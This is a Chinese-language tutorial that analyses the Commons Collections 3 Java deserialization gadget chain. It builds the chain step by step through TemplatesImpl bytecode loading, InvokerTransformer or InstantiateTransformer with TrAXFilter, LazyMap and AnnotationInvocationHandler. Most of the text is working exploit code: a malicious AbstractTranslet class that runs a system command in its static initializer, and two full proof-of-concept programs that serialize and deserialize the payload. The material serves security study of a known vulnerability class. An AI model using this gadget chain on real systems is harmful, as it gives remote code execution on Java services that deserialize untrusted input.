Java反序列化-Commons Collections3利用链分析 思路一 首先是通过ClassLoader类,找到可以loaderclass执行我们代码函数
由loadClass进行加载
返回下一个loadClass
最后会走到defineClass,这里是从字节里加载一个类
查找谁调用了defineClass函数,查找有没有public的方法调用了defineClass
可以看到这边有个default权限的方法
defineClass我们再查找下调用链
我们找到了三个方法,我们可以进去看下,每个的返回结果
分析了下第一个是返回class,第二个返回下标,第三个我们可以看到,def给class赋完值,后执行了newInstance
通过loader.defineClass来将_class赋值的
我们再找下这个的调用链
我们调用TemplatesImpl的newTransformer(),就会调它的getTransletInstance()
这里的构造方法是为空,所以值我们是需要自己去赋的
我们看下要走进class赋值需要哪些参数,_name不能为空,这样能进入defineTransletClasses(),使得对_class进行赋值
defineTransletClasses
需要传入_bytecodes为空
这里判断了_bytecodes的数量,再去for循环一个个defineClass,所以这个我们只要传入一个数组的_bytecodes即可
我们将值都用反射进行传入
public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); templates.newTransformer(); }
发生报错
我们通过调试defineTransletClasses,发现_auxClasses为null,如果走到下面_transletIndex也过不去,所以我们只能走到if为true,使得_transletIndex赋值
我们就看下他的条件,获取的是父类判断是否是ABSTRACT_TRANSLET
所以说我们传入的class需要继承父类,并且实现它的方法编译下
package ysoserial.test;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } public static void main (String[] args) { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
尝试运行下payload,成功弹出计算器,所以说我们只要调用到了newTransformer就可以执行代码
public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); templates.newTransformer(); }
之后我们可以用cc1的前面的代码,伪造newTransformer()
public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" , null , null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1 ); }
之后我们直接使用CC1的后半段即可
POC package ysoserial.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import java.io.*;import java.lang.annotation.Target;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import com.sun.org.apache.xml.internal.security.utils.Base64;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Test3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer" , null , null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer ); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHadlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize(); } public static void serialize (Object o) throws IOException { ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin" ))); oo.writeObject(o); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream( new File("ser.bin" ))); Object object = (Object) ois.readObject(); System.out.println("反序列化成功!" ); return object; } }
思路二 我们查找谁调用了newTransformer
可惜没有继承Serializable,否则下面构造函数是传入一个templates参数
我们可以使用其他的transform方法来调用构造函数,这里是使用InstantiateTransformer来构造,正好符合我们的要求
这个方法的构造函数
我们结合着TrAXFilter构造函数,参数是一个Templates
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
因为要传入TrAXFilter,要执行他的transform,这边xxx.transform,xxx是我们无法控的
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
这样我们就改好为InstantiateTransformer.transform()来调用到TrAXFilter构造方法,调用到templates.newTransformer()
POC 获取到最终POC
package ysoserial.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import java.io.*;import java.lang.annotation.Target;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import com.sun.org.apache.xml.internal.security.utils.Base64;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Test3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHadlConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHadlConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHadlConstructor.newInstance(Override.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = annotationInvocationHadlConstructor.newInstance(Override.class,mapProxy); unserialize(); } public static void serialize (Object o) throws IOException { ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin" ))); oo.writeObject(o); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream( new File("ser.bin" ))); Object object = (Object) ois.readObject(); System.out.println("反序列化成功!" ); return object; } }